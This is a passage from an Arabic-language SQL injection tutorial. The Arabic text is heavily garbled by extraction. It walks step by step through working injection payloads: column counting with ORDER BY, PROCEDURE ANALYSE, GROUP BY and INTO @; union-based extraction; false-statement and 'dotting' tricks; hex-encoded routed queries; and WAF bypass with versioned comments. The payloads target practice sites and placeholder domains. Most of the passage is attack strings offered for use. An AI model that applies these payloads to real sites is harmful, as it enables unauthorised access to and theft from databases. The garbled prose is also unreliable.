‫‪[7] InjectorBoy.md/news.php?id=58' and false UNION SELECT "1' order by 100",2,3,4,5 -- -‬‬

‫ظهر خطأ ‪[8] InjectorBoy.md/news.php?id=58' and false UNION SELECT "1' order by 100",2,3,4,5,6 -- -‬‬
‫خامسا ل ‪ :‬بعد ظهور خطأ بالصفحة الدال على أن عدد العمدة الصحيحة ليس مائة نتيجه لستخدمنا الستعلم ‪order by 100‬‬
‫‪ ,‬بعد ذلك نقوم بالتلعب بالرقم مأئة داخل الـ ‪ order by‬تنارزليا ل حتى نحرصيل على العداد الك رمللي للعلمدة على النحو كالتالى ‪:‬‬

‫] ‪[ 9‬‬

‫خطأ ‪/news.php?id=58' and false UNION SELECT "1' order by 100",2,3,4,5,6 -- -‬‬

‫خطأ ‪/news.php?id=58' and false UNION SELECT "1' order by 50",2,3,4,5,6 -- -‬‬

‫خطأ ‪/news.php?id=58' and false UNION SELECT "1' order by 25",2,3,4,5,6 -- -‬‬

‫خطأ ‪/news.php?id=58' and false UNION SELECT "1' order by 15",2,3,4,5,6 -- -‬‬

‫خطأ ‪/news.php?id=58' and false UNION SELECT "1' order by 14",2,3,4,5,6 -- -‬‬

‫ل يوجد خطأ ‪/news.php?id=58' and false UNION SELECT "1' order by 13",2,3,4,5,6 -- -‬‬

‫رهنا بعمدما قومنا بتحصيل العداد الك رمللية للعلمدة وهو العدد ‪ -‬ثلثة عشر ‪ -‬نقوم بإستغللة عل الكيفية التالية ‪:‬‬

‫‪[10] InjectorBoy.md/news.php?id=58' and false UNION SELECT "1' union select‬‬


‫‪1,2,3,4,5,6,7,8,9,10,11,12,13",2,3,4,5,6 -- -‬‬

‫وهذة المسئلة ‪ -‬أي الستغلل الخير ‪ -‬تسمى بالستعلم الرئيسي التوجيهي وسوف ريشرح مرة رأخرة لحقا ل بالتفصيل بصورة أكثر تق ل ردما ل ‪.‬‬
‫☆*•‪ ☆¸.‬الفصل الخامس ‪ :‬إستخدام الستعلم ‪☆*•.¸☆ PROCEDURE ANALYSE‬‬

‫الـ ‪ : PROCEDURE ANALYSE‬رتستخدم للتحليل الرمنتج النهائي ‪ ,‬وهو ريشلبه تمام المشبه من حيث ألية العمل الستعلم التقليدى‬
‫جزئين ‪.‬‬
‫‪ Order+By‬وينقسم إلى قسمين أو ر‬

‫█▇▆▅▄▃▂‬ ‫الجزء الول‬ ‫▂▃▄▅▆▇█‬

‫إستخدام الـ ‪ PROCEDURE ANALYSE‬بعد رقم الرمتغير مباشرلة‬

‫‪news.php?id=58 PROCEDURE ANALYSE() -- -‬‬

‫والناتج سوف يكون كالتالي ‪ :‬حدوث تكرار لشئ ما داخل الصفحة كـ كلمات أو أسطر أو صور ألخ من التكرار داخل الصفحة‬

‫مثال عملي‬

‫‪[1] www.InjectorBoy.md/news.php?id=58‬‬

‫‪[2] www.InjectorBoy.md/news.php?id=58 PROCEDURE ANALYSE()-- -‬‬


‫كما رنلحظ بالصورة السابقة ظهر عدد من السطر داخل الصفحة وعددهم ثمانية أسطر ‪ ,‬مما دل على أن العدد الكلي للعمدة هي ثمانية‬
‫‪ ,‬والستغلل لذلك العدد يكون على النحو التالي ‪:‬‬

‫‪[3] www.InjectorBoy.md/news.php?id=.58 union select 1,2,3,4,5,6,7,8 -- -‬‬

‫█▇▆▅▄▃▂‬ ‫الجزء الثاني‬ ‫▂▃▄▅▆▇█‬

‫عديا ل ‪.‬‬
‫إضافة القيمة ‪ LIMIT‬لتحصيل العدد الكلي للعمدة بالعتماد على مسألة الزيادة فى الترقيم تصا ر‬
‫مثال توضيحي‬

‫‪testphp.vulnweb.com/artists.php?artist=1 LIMIT 0,1 PROCEDURE ANALYSE()-- -‬‬

‫عديلما ل بالستعلم ‪LIMIT‬‬


‫عب بالقيمة صفر تصا ر‬ ‫هذه هي الصورة الكاملة للستعلم ‪ ,‬وعلية لتحصيل العدد الصحيح للعمدة نقوم بالمتل ر‬
‫حتى يظهر خطأ يدل على قيمة العمدة الكلية وذلك على النحو التالي ‪:‬‬

‫ل خطأ ‪testphp.vulnweb.com/artists.php?artist=1 LIMIT 0,1 PROCEDURE ANALYSE()-- -‬‬

‫ل خطأ ‪testphp.vulnweb.com/artists.php?artist=1 LIMIT 1,1 PROCEDURE ANALYSE()-- -‬‬

‫ل خطأ ‪testphp.vulnweb.com/artists.php?artist=1 LIMIT 2,1 PROCEDURE ANALYSE()-- -‬‬


‫خطأ ‪testphp.vulnweb.com/artists.php?artist=1 LIMIT 3,1 PROCEDURE ANALYSE()-- -‬‬

‫كلي الصحيح للعمدة هو العدد ثلثة ‪ ,‬وإستغلرلة‬


‫ظهرت صفحة بيضاء عند الرقم ثلثة بالستعلم ‪ LIMIT‬مما دل على أن العدد ال ر‬
‫سوف يكون على النحو التالي ‪:‬‬

‫‪testphp.vulnweb.com/artists.php?artist=.1 union select 1,2,3 -- -‬‬


‫☆*•‪ ☆¸.‬الفصل السادس ‪ :‬تحصيل أعداد العمدة بتخمين الجدول الرئيسي ☆¸‪☆*•.‬‬

‫رملحظة ‪ :‬فى حالة إنلعدام عمل أي مسئلة من المسائل السابقة نقوم بالرلجوء إلى مسألة عامة تقوم على مبدأ التخمين لتحصل الهدف ‪ ,‬لذا‬
‫يجب تخمين الجدول الرئيسي للقاعدة أول ل قبل الخوض في لخضم المسألة ‪:‬‬

‫مثال توضيحي‬
‫أول ل ‪ :‬تخمين الجدول‬
‫سوف نقوم بتخمين الجدول الرئيسي رمستخدمين هذا الستعلم ‪:‬‬

‫‪+and+(select+1+from+table)=1‬‬

‫كم مع الكتاب قاموس بة كللمات التخمين‬‫حيث نرقوم بتخمين الجداول رمستبدلين الكلمة ‪ table‬بالسماء الخاصه بالتخمين وسوف أرفق ل ر‬
‫التي سوف نحتاج إليها بعمليات الحقن ‪ ,‬لذا لرنكمل عملية التخمين على هذا النحو ‪:‬‬

‫الجدول أدمن ليس صحيح ‪InjectorBoy.md/news.php?id=58+and+(select+1+from+admin)=1 -- -‬‬

‫الجدول يوزر صحيح ‪InjectorBoy.md/news.php?id=58+and+(select+1+from+users)=1 -- -‬‬

‫تم تحصيل الجدول الرئيسي بتخمين صحيح وهو الجدول ‪. users‬‬


‫ثانيا ل ‪ :‬إضافة الستعلم التالي مباشرلة بعد قيمة الرمتغير الخاص بالموقع مع إستبدال كلمة ‪ table‬بالجدول الذي تم تخميرنة رمسبقا ل ‪.‬‬

‫‪and 0 union select * from table group by 100 -- -‬‬

‫‪InjectorBoy.md/news.php?id=58 and 0 union select * from users group by 100 -- -‬‬

‫تم تحصيل خطأ دل على أن عدد العمدة الخاصة بالقاعدة ليست القيمة مائة ‪ ,‬مما دل على عمل الستعلم التقليدى ‪ group by‬بصورة‬
‫جيدة وبدون أبة مشاكل ‪ ,‬فالنتلعب تنارزليا ل بالرقم مائة حتى رنحللصل العدد الصحيح ال ر‬
‫كلي للعمدة ‪.‬‬

‫‪InjectorBoy.md/news.php?id=58 and 0 union select * from users group by 50 -- -‬‬

‫'‪Error : Unknown column '50' in 'group statement‬‬

‫‪InjectorBoy.md/news.php?id=58 and 0 union select * from users group by 15 -- -‬‬

‫'‪Error : Unknown column '15' in 'group statement‬‬

‫‪InjectorBoy.md/news.php?id=58 and 0 union select * from users group by 14 -- -‬‬

‫تم تحصيل خطأ ولكن ليس بالصورة الرمعتادة لنا ‪ ,‬ووصرفة أن عدد العمدة الرمستخدمة عند الرقم أربعة عشر غير صحيح ‪ ,‬والذي‬
‫يعني أن العدد الصحيح للعمدة هو أقل من أربعة عشر أي العدد القل منه بالترتيب وهو الرقم ثلثة عشر ‪.‬‬
‫☆*•‪ ☆¸.‬الفصل السابع ‪ :‬تحصيل أعداد العمد بالـ ‪ Error Based‬بتخمين الجدول الرئيسي ☆¸‪☆*•.‬‬

‫فى الفصل السابق شاهدنا طريقة تخمين الجدول الرئيسي وهو ‪ , users‬فلرنتابع من بعد ذلك ‪.‬‬

‫أول ل ‪ :‬سوف نقوم بتشفيره بالهيكس أي الجدول ‪ users‬من خلل الموقع التالى ‪:‬‬

‫‪www.waraxe.us/sql-char-encoder.html‬‬

‫رثم اضافرته بعد تشفيرهر إلى الستعلم التالي مكان الـ ‪ table‬ثمم بعد ذلك إضافة كامل الستعلم هذا بعد الرمتغير للموقع الهدف ‪:‬‬

‫‪and %28select count%28column_name%29from {f information_schema .columns} where table_name=table%29‬‬


‫‪between 10 and 10-- -‬‬

‫‪www.InjectorBoy.md/news.php?id=58 and %28select count%28column_name%29from {f information_schema‬‬


‫‪.columns} where table_name=0x7573657273%29 between 100 and 100-- -‬‬

‫حدث خطأ الصفحه ظهرت بيضاء الن سوف نقوم بالتقليل بين الرقمين مائه مع الحرص بتكراره كما رنلحظ بالمسألة تاليا ل حتى تعمل‬
‫الصفحه بصوره جيدة ‪.‬‬

‫‪between 100 and 100-- - >> Error‬‬

‫‪between 50 and 50-- - >> Error‬‬

‫‪between 25 and 25-- - >> Error‬‬

‫‪between 15 and 15-- - >> Error‬‬

‫‪between 14 and 14-- - >> Error‬‬

‫‪between 13 and 13-- - >> Error‬‬


www.InjectorBoy.md/news.php?id=58 and %28select count%28column_name%29from {f information_schema
.columns} where table_name=0x7573657273%29 between 12 and 12-- -

. ‫الصفحه تعمل الن بصورة طبيعية مما دل على ان عدد العمدة إثنى عشر عمودا ل‬
‫الباب الثالث ‪ :‬التقنيات المركزية لتحصيل العداد ال ر‬
‫كلية للعمدة █ ▇ ▆ ▅ ▄ ▃ ▂‬ ‫▂▃▄▅▆▇█‬

‫كلي للعمدة برأسلوب الغراق ☆¸‪☆*•.‬‬


‫]‪ [1‬التقنية الولى ☆*•‪ ☆¸.‬الكشف عن العدد ال ر‬
‫يعتمد هذا ا ر‬
‫لسلوب على إغراق قاعدة البيانات بقيم كثيرة ‪ ,‬لنقوم بإجبارها على الرد في صورة خطأ والفصاح عن العدد ال ر‬
‫كلي للعمدة ‪.‬‬

‫‪-‬‬ .1Order By‬‬


‫‪1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,‬‬
‫‪47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,8‬‬
‫‬‬‪9,90,91,92,93,94,95,96,97,98,99-‬‬-‬‬+-‬‬

‫‪testphp.vulnweb.com/listproducts.php?cat=1-‬‬ .1Order By‬‬


‫‪1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,‬‬
‫‪43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,‬‬
‫‬‬‪81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99-‬‬-‬‬+-‬‬

‫كلي للعمد أقل من الرقم الناتج بهذا الخطأ أي إحدى عشر عمودا ل ‪.‬‬
‫النتيجة ‪ :‬العدد إثنى عشر غير موجود وهذا يعني أن العدد ال ر‬
☆*•.¸☆ ‫كلي للعمدة برأسلوب الفيض الرمتعدد‬
‫¸☆ الكشف عن العدد ال ر‬.•*☆ ‫[ التقنية الثانية‬2]

‫يعتمد هذا ا ر‬
‫ لنقوم بالبدأ من إضافة رمز واحد‬, ‫لسلوب على إجبار القاعد بالضغط عليها لرتخبرنا أن العدد الرمستخدم حاليا غير صحيح‬
. ‫عديا ل حتى نصل للعد الصحيح للعمدة‬
‫والزيادة تصا ر‬

-‬‬ .1INTO
@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,
@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,
@,@,@,@,@,@,@,@,@,@ ;%00

testphp.vulnweb.com/listproducts.php?cat=1-‬‬ .1INTO
@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,
@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,
@,@,@,@,@,@,@,@,@,@ ;%00

‫كما رنلجظ بالصورة أعله قبلت القاعدة الستعلم و قامت بالرد علينا بعدم وجود هذا الكم الكبير من العمدة لذا سوف نقوم بهذا المسألة‬
‫واحدة تلو ا ر‬
: ‫لخر كالتالي‬

testphp.vulnweb.com/listproducts.php?cat=1-‬‬ .1INTO @;%00

testphp.vulnweb.com/listproducts.php?cat=1-‬‬ .1INTO @,@;%00

testphp.vulnweb.com/listproducts.php?cat=1-‬‬ .1INTO @,@,@;%00

testphp.vulnweb.com/listproducts.php?cat=1-‬‬ .1INTO @,@,@,@;%00

testphp.vulnweb.com/listproducts.php?cat=1-‬‬ .1INTO @,@,@,@,@;%00

testphp.vulnweb.com/listproducts.php?cat=1-‬‬ .1INTO @,@,@,@,@,@;%00

testphp.vulnweb.com/listproducts.php?cat=1-‬‬ .1INTO @,@,@,@,@,@,@;%00

testphp.vulnweb.com/listproducts.php?cat=1-‬‬ .1INTO @,@,@,@,@,@,@,@;%00

testphp.vulnweb.com/listproducts.php?cat=1-‬‬ .1INTO @,@,@,@,@,@,@,@,@;%00

testphp.vulnweb.com/listproducts.php?cat=1-‬‬ .1INTO @,@,@,@,@,@,@,@,@,@;%00


‫‪testphp.vulnweb.com/listproducts.php?cat=1- .1INTO @,@,@,@,@,@,@,@,@,@,@;%00‬‬

‫كلي للعمدة هي إحدى عشر عمودا ل ♫‬


‫♫ حدث خطأ عادي عند العدد الرمزي إحدى عشر ‪ ,‬فدل ذلك على أن العدد ال ر‬
‫]‪ [3‬التقنية الثالثة الرمتقلمدمة ☆*•‪ ☆¸.‬النمط الغلقي ‪☆*•.¸☆ Style closure‬‬

‫تعتمد هذه التقنية على تجاوز الستعلمات الرمتعددة الـ ‪ multiple queries‬بإستخدام تقنية النمط الإغلقي الرمركب عليه متغير‬
‫موازي ‪ ,‬لرنتابع خطوات هذه التقنية الجديدة ‪:‬‬

‫أول ‪ :‬رنغلق رقم الرمتغير بالقيمة ;‪ !00%‬أو الرمز ‪%- --‬‬

‫!‪[1] www.InjectorBoy.GHT?id=1;%00‬‬

‫ثانيا ل ‪ :‬رنضيف مسافة بعد الغلق ث رمم رنضيف رمز الكومة‬

‫!‪[2] www.InjectorBoy.GHT?id=1;%00‬‬ ‫'‬


‫ثالثا ل ‪ :‬رنضيف مسافة بعد الرمز كومة ث رمم رنضيف رمتغير موازي ريساوي القيمة ‪or 0‬‬

‫‪[3] www.InjectorBoy.GHT?id=1;%00! ' or 0‬‬

‫رابعا ل ‪ :‬رنضيف مسافة بعد الرمتغير الموازي ث رمم نضع الستعلم ‪order by‬‬

‫‪[4] www.InjectorBoy.GHT?id=1;%00! ' or 0 order by 100‬‬

‫خامسا ل ‪ :‬رنضيف للرقم مائة الرمرتبطة بالستعلم ‪ order by‬ذات الغلق الرمستخدم في بداية المر أي ;‪!00%‬‬

‫!‪[5] www.InjectorBoy.GHT?id=1;%00! ' or 0 order by 100;%00‬‬

‫وبذلك نكون إنتهينا من عرض أساليب وتقنيات تحصيل العداد ال ر‬


‫كلية للعمدة ‪.‬‬

‫كلي للعمدة رهم إثنين ‪.‬‬ ‫ث إنتهينا سابقا ل حي ر‬


‫ث علرفنا أن العدد ال ر‬ ‫فالرنكمل الن الحقن خا لمصمتنا من حي ر‬
‫█▇▆▅▄▃▂‬ ‫إستكمال عملية الحقن ‪ :‬إستخدام رأسلوب الـ ‪Union Based‬‬ ‫▂▃▄▅▆▇█‬

‫ث توقفنا سابقا ة بعد معرفة العدد ال ر‬


‫كلي للعمدة نقوم بالجمع بينرهما بإستخدام الستعلم‬ ‫لرنكمل عملية الحقن النمطي من حي ر‬
‫التجميعي ‪. union select‬‬

‫‪www.InjectorBoy.GHT?id=.1 union select 1,2-- -‬‬

‫☆¸‪ ☆*•.‬حدثـــ خطأ ☆*•‪☆¸.‬‬

‫كلي الصحيح للعمدة حدثـــ خطأ ‪ ,‬أل وهو عدم ظهور أرقام العمدة الرمصابة ال ر‬
‫كلية بالصفحة كما‬ ‫عند كتابة الستغلل ال ر‬
‫الرمعتاد في الحقن الطبيعى ‪ ,‬لذا سوف أرفق بابا ل تاليا ل نقوم فيله بشرح أساليب إجبار العمدة الرمصابة على الظهور بالصفحة‬
‫كلية ‪.‬‬
‫لتمام عملية الستغلل ال ر‬
‫☆*•‪ ☆¸.‬إجبار العمدة الرمصابة على الظهور بالصفحة عندما ل تظهر فى الحالة الطبيعية للحقن ☆*•‪☆¸.‬‬

‫في بعض الحيان قد يتعذر على رمختبري حقن قواعد البيانات إظهار أرقام العمدة ال ر‬
‫كلية الرمصابة داخل الصفحة لتمام حقنها‬
‫لذا سوف نقوم بشرح تخطي تلك الرمشكلة تاليا ل في عدة رفصول رمتاتبعة ‪.‬‬

‫☆*•‪ ☆¸.‬الرمحتويات ☆¸‪☆*•.‬‬

‫الفصل الول ‪ :‬التنقيط ' ‪. ' Dotting‬‬

‫الفصل الثاني ‪ :‬إستخدام ال ر‬


‫جمل الخاطئه أو الـ ‪. false statement‬‬

‫الفصل الثالث ‪ :‬الرقام الرمتعدده التكراريه والبحث داخل السورس باج ' ‪. ' source page‬‬

‫الفصل الرابع ‪ :‬إستخدام الفيرجين والبحث بالسورس باج ' ‪. ' source page‬‬

‫الفصل الخامس ‪ :‬إستخدام القوة الجبرية الـ ‪. Brute Forcing Columns‬‬

‫الفصل السادس ‪ :‬إستخدام الستعلم التوجيهي | ‪. Routed Query‬‬

‫الفصل السابع ‪ :‬إستخدام رأسلوب الحقن الداخلي ‪. injection inside injection‬‬

‫الفصل الثامن ‪ :‬فحص وجود حمايه ‪. WAF‬‬

‫الفصل التاسع ‪ :‬فحص نهايات الروابط ‪.‬‬

‫الفصل العاشر ‪ :‬إستخدام قيمه فارغه ‪. Null‬‬


‫☆ *• ‪ ☆¸.‬الفصل الول ‪ :‬التنقيط ' ‪☆* •. ¸☆ ' Dotting‬‬

‫التنقيط ' ‪ : ' Dotting‬بعنى إضافة رنقطة أو ماريساوي قيمتها من التقنيات الرمندلرجة تحت هذا التصنيف ‪ ,‬ووظيفة الرنقطة إلغاء‬
‫الستعلم ذلك لكولنها أصبحت في هذه الحالة شرط سلبي ‪.‬‬
‫‪[1] www.InjectorBoy.GHT?id=1 union select 1,2,3 -- -‬‬

‫‪[2] www.InjectorBoy.GHT?id=.1 union select 1,2,3 -- -‬‬

‫ث العمل ☆¸‪☆*•.‬‬
‫☆*•‪ ☆¸.‬بعض التقنيات الرمتنللوعة الرمندلرجة تحت تصنيف التنقيط من حي ر‬

‫‪[1] news.php?id=.58‬‬

‫‪[2] news.php?id=-58‬‬

‫‪[3] news.php?id=@58‬‬

‫‪[4] news.php?id==58‬‬

‫‪[5] news.php?id=58=58‬‬

‫)‪[6] news.php?id=polygon(58‬‬

‫‪[7] news.php?id=999999.9‬‬

‫)‪[8] news.php?id=(-58‬‬

‫‪[9] news.php?id=.\58‬‬
‫جمل الخاطئة أو الـ ‪☆*•.¸☆ false statement‬‬
‫☆*•‪ ☆¸.‬الفصل الثاني ‪ :‬إستخدام ال ر‬

‫كلي الصحيح للعمدة ولكتابة الستغلل ولم تظهر العمدة الرمصاب داخل نطاق الصفحة نقوم لعندها بإضافة‬
‫في حالة معرفة العدد ال ر‬
‫جمل الخاطئة أو الـ ‪ false statement‬قبل الستعلم ‪ union select‬على النحو التالي ‪:‬‬
‫ال ر‬

‫ل شيئ حدث ‪[1] news.php?id=.58'union select 1,2,3,4 -- -‬‬

‫‪[2] news.php?id=.58' and 0 union select 1,2,3,4 -- -‬‬

‫ظهرت العمده الرمصابه بعد إضافة الـ ‪ false statement‬الـ ‪ and 0‬قبل إستعلم اليونيون سيليكت‬

‫☆*•‪ ☆¸.‬بعض التقنيات الرمتنللوعة للـ ‪☆*•.¸☆ false statement‬‬

‫‪dev 0‬‬

‫‪And 0‬‬

‫‪and 1 = 2‬‬

‫)‪and (1)!=(0‬‬

‫)‪and(1)=(0‬‬

‫‪AND false‬‬

‫‪having 1 = 0‬‬

‫‪like 0‬‬

‫‪where 1=2‬‬
‫☆*•‪ ☆¸.‬الفصل الثالث ‪ :‬الرقام الرمتعددة التكرارية والبحث داخل السورس باج ' ‪☆*•.¸☆ ' source page‬‬

‫تتم هذه الطريقة بكتابة أرقام العمدة ال ر‬


‫كلية الرمستغلة بصورة تكرارية رمتعددة وليكون على سبيل الفرض ل التخصيص خمسة مرات ‪:‬‬

‫‬‬‪news.php?id=.58'and 0 union select 11111,22222,33333,44444 -‬‬-‬‬ -‬‬

‫ثمم يلي ذلك فتح السورس باج ] ‪ [ source page‬والبحث عن ذلك العمود الرمصاب الرمكرر القيمة حتى نجدهر ظاهر بصورة منفردة داخل‬
‫السورس باج ‪.‬‬
‫☆*•‪ ☆¸.‬الفصل الرابع ‪ :‬إستخدام إستعلم الكشف عن إصدار قاعدة البيانات والبحث بالسورس باج ☆¸‪☆*•.‬‬

‫هو نفس أوسلوب الباب المار لكن بدل ل من تكرار أرقام العمدة خمسة مرات نرقوم بإستبدالها جميعا ل بإستعلم الكشف عن إصدار قاعدة‬
‫البيانات ‪ , ()version‬يلي ذلك فتح السورس باج والبحث عن إصدار القاعده ‪:‬‬

‫‪/news.php?id=.58'and 0 union select version(),version(),version(),version() -- -‬‬


‫☆*•‪ ☆¸.‬الفصل الخامس ‪ :‬إستخدام القوة الجبرية الـ ‪☆*•.¸☆ Brute Forcing Columns‬‬

‫إستخدام القوة الجبرية أو ‪ Brute Forcing Columns‬ذلك يتم بحذف كافة أرقام العمدة كما بالمثال التالي ‪:‬‬

‫‪[1] news.php?id=.58'and 0 union select 1,2,3,4 -- -‬‬

‫ا ر‬
‫لسلوب الجبري ‪[2] news.php?id=.58'and 0 union select -- -‬‬

‫ثم نقوم بإضافة أرقام العمده واحدا ل تلو الخر بصورة تكرارية خمسة مرات على الترتيب منفردا ل القيمة من البدايا إلى النهاية‬
‫حتى تظهر العمدة الرمصابة بالصفحة ‪:‬‬

‫‪[3] news.php?id=.58'and 0 union select 1111 -- -‬‬

‫‪[4] news.php?id=.58'and 0 union select 11111,2222-- -‬‬

‫‪[5] news.php?id=.58'and 0 union select 11111,2222,3333-- -‬‬

‫‪[6] news.php?id=.58'and 0 union select 11111,2222,3333,4444-- -‬‬

‫من التجرربه الولى للقوة الجبرية ظهر تعداد رمتكرر للرقم واحد بالبار الرعلوى للصفحة والدال على أن العمود الرمصاب هو العمود‬
‫صاحب الرقم واحد كما نرى بالصورة التالية ‪:‬‬
[7] www.InjectorBoy.md/news.php?id=.58' and 0 union select 1111 -- -

[8] www.InjectorBoy.md/news.php?id=.58' and 0 union select version() -- -

38-5.5.51 : ‫إصدار قاعدة البيانات يظهر بالبار العلوي للصفحة‬


‫الفصل السادس ‪ ☆¸.•*☆ :‬إستخدام الستعلم التوجيهي | ‪☆*•.¸☆ Routed Query‬‬

‫تم شرحره سابقا ل‬


‫☆*•‪ ☆¸.‬الفصل السابع ‪ :‬إستخدام رأسلوب الحقن الداخلي ‪☆*•.¸☆ injection inside injection‬‬

‫رأسلوب ' حقن نقطة الحقن ' أو بمعنى أدق الحقن داخل الحقن من الساليب القوية بمجال حقن قواعد البيانات ‪:‬‬

‫رملحظة هامة ‪ :‬الموقع التالى موقع إختباري رمصمم لختبار الختراق ‪ ,‬أي أنره ليس بموقعا ل حي ‪.‬‬

‫‪leettime.net/sqlninja.com‬‬
‫� التكوين الهيكلي ل ر‬
‫لسلوب �‬

‫بعد كتابة الستغلل كامل ل للموقع أي بعد معرفة العدد ال ر‬


‫كلي للعمدة بصورة أكيدة ‪:‬‬

‫‪leettime.net/sqlninja.com/tasks/routed_sqli_1.php?id=1' and 0 union select 1,2-- -‬‬

‫‪Invalid Input parameter‬‬

‫الناتج ‪ :‬لم تظهر العمدة الرمصابه داخل صفحة الموقع ‪.‬‬


‫� أول ة ‪ :‬إختبار العمود المناسب ر‬
‫لسلوب الحقن داخل نقطة الحقن الداخلي �‬ ‫ر‬
‫لسلوب بوضع الستعلم التالى ' ‪ ' 0x27‬بمكان العمدة ركلها واحدا ل تلو الخر على الترتيب ‪ ,‬وعند ظهور‬ ‫نقوم بإختبار مكان الحقن بهذا ا ر‬
‫لسلوب داخرله ‪:‬‬ ‫خطأ مركب بأحدلهم يكون هو العمود المناسب لتفعيل ا ر‬
‫ر‬ ‫ر‬

‫‪[1] leettime.net/sqlninja.com/tasks/routed_sqli_1.php?id=1' and 0 union select 0x27,2-- -‬‬


‫‪[2] leettime.net/sqlninja.com/tasks/routed_sqli_1.php?id=1' and 0 union select 1,0x27-- -‬‬

‫الناتج ‪ :‬ظهر خطأ بالعمود صاحب الرقم إثنين ‪ ,‬مما دل على إنره العمود المناسب لتفعيل ا ر‬
‫لسلوب دالخل مره ‪.‬‬ ‫ر‬

‫‪Error While Selection process : You have an error in your SQL syntax; check the manual that corresponds to your‬‬
‫‪MySQL server version for the right syntax to use near ''''' at line 1‬‬

‫� تطبيق ا ر‬
‫لسلوب �‬

‫جزء الول من بعد رقم الرمتغير عند إشارة التنصيص الفرديه كومه )'( إلى نهاية الجزء الخير عند‬
‫أول ا ‪ :‬نقوم بقص الستعلم كامل ل من بداية ال ر‬
‫الغلق )‪ (- --‬على النحو التالي ‪:‬‬

‫‪[1] leettime.net/sqlninja.com/tasks/routed_sqli_1.php?id=1' and 0 union select 1,2-- -‬‬

‫‪[2] ' and 0 union select 1,2-- -‬‬

‫ثم نقوم بتشفيرهر كامل ل ‪ -‬أي الستعلم المقصوص ‪ -‬بالهيكس بهذا الموقع ‪:‬‬

‫‪[3] www.waraxe.us/sql-char-encoder.html‬‬

‫الناتج ‪:‬‬

‫‪[4] 0x2720616e64203020756e696f6e2073656c65637420312c322d2d202d‬‬

‫ثانيا ل ‪ :‬نقوم بوضعه كامل ل ‪ -‬أي الستعلم المقصوص رمشفرا ل بالهيكس ‪ -‬بالعمود الرمناسب الرمستخرج سابقا ل رقم إثنين ‪:‬‬
‫‪[5] leettime.net/sqlninja.com/tasks/routed_sqli_1.php?id=1' and 0 union select‬‬
‫‪1,0x2720616e64203020756e696f6e2073656c65637420312c322d2d202d-- -‬‬

‫‪Username is : 1‬‬

‫الرملحظات ‪ :‬كما رنلحظ بالصورة أعله ظهر رقم العمود الرمصاب داخل الصفحه وهو الرقم واحد ' الـ ‪ Username is : 1‬والدال بذات‬
‫الوقت على أن العمود الرمصاب للحقن هو العمود صاحب الرقم واحد ‪.‬‬

‫ألن فلنكشف عن إصدار قاعدة البيانات بنفس الكيفية السابقة ‪ ,‬لكن بوضع الستعلم ‪ ()version‬قبل التشفير بمكان العمود صاحب‬
‫الرقم واحد الرمصاب بالحقن ثم تشفير الستعلم كامل ل ‪.‬‬

‫‪[6] ' and 0 union select version(),2-- -‬‬

‫‪[7] 0x2720616e64203020756e696f6e2073656c6563742076657273696f6e28292c322d2d202d‬‬

‫ثم نضع الستعلم المشفر مكان العمود صاحب الرقم إثنين المناسب لتفعيل ا ر‬
‫لسلوب دالخل مره ' كما تم الكشف عنره سابقا ل‬ ‫ر‬ ‫ر‬
‫بالـ ‪. ' 0x27‬‬
‫ملحوظه هامة ‪ :‬فلرنفرق بين ذلك المر ! العمود رقم إثنين هو العمود المناسب لتفعيل ا ر‬
‫لسلوب دالخل مره ‪ -‬أي عمود الختبار لهذه‬ ‫ر‬
‫المسئلة – والعمود رقم واحد هو العمود الرمصاب الذى نضع به الستعلمات الخاصة بالحقن قبل تشفيرها وهو الذي ظهر بالصفحة سابقا ل‬
‫‪ -‬وذلك كـ عادة ركل العمده الرمصابه بأي موقع يتم الحقن داخلها ‪-‬‬
[8] leettime.net/sqlninja.com/tasks/routed_sqli_1.php?id=1' and 0 union select
1,0x2720616e64203020756e696f6e2073656c6563742076657273696f6e28292c322d2d202d-- -

Username is : 5.5.52-cll : ‫[ إصدار قاعدة البيانات‬9]


‫☆*•‪ ☆¸.‬الفصل الثامن ‪ :‬فحص وجود حمايه ‪☆*•.¸☆ WAF‬‬

‫قد يكون عدم ظهور العمدة الرمصابة بالصفحة نتيجة الواف أي الحمايه لذا فالرنشفر كافة الستعلمات للحتياط و رمشاهدة النتيجة ‪.‬‬

‫‬‬‪www.InjectorBoy.md/news.php?id=.58' /*!50000and*/ 0 /*!50000union*/ /*!50000select*/ 1,2,3,4 -‬‬-‬‬ -‬‬


‫☆*•‪ ☆¸.‬الفصل التاسع ‪ :‬فحص نهايات الروابط ☆¸‪☆*•.‬‬

‫فالنقوم بفحص نهايات الروابط فقد يكون هذا سبب من أسباب عدم ظهور أرقام العمدة الرمصابة بالصفحة ‪ ,‬أي إننا نقوم بوضع كومينت‬
‫أو تعليق بدل الرمستخدم وقتها فقد يكون التعليق الرمستخدم غير رمناسب ‪ ,‬وهذا وجدتره ‪ -‬أي تبين لي ‪ -‬أنره أحد السباب لعدم ظهور‬
‫أرقام العمد الرمصابه بالصفحة بصورة كبيرة بمواقع كثيرة رقمت بحقنها سابقا ل‬

‫‪www.InjectorBoy.md/news.php?id=.58' and 0 union select 1,2,3,4 --%0a‬‬

‫مجموعه كاملة من الررموز الرمستخدمه لغلق نهايات الروابط‬

‫‪--+‬‬
‫‪--+-‬‬
‫‪+--+‬‬
